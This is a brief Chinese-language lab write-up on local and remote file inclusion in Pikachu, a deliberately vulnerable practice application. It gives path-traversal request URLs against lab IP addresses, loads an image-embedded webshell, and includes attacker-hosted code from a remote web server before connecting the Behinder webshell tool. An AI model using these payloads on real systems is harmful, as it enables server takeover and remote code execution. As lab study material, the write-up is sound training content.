pikachu 文件包含漏洞

1 本地包含

http://192.168.52.143/pikachu/vul/fileinclude/fi_local.php?
filename=…/…/…/…/1.php&submit=提交查询

加载图片马
http://192.168.52.143/pikachu/vul/fileinclude/fi_local.php?filename=…/…/…/…/007.txt&submit=提交查询

2 远程包含

放在服务器上

开启php.ini的allow_url_include

服务器起一个web服务

成功包含
http://192.168.8.105/pikachu/vul/fileinclude/fi_remote.php?filename=http://...:9999/123.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

上冰蝎

3 怎么挖这种漏洞

实际中没遇到过，得代码审计，include(),include_once()
require(),require_once()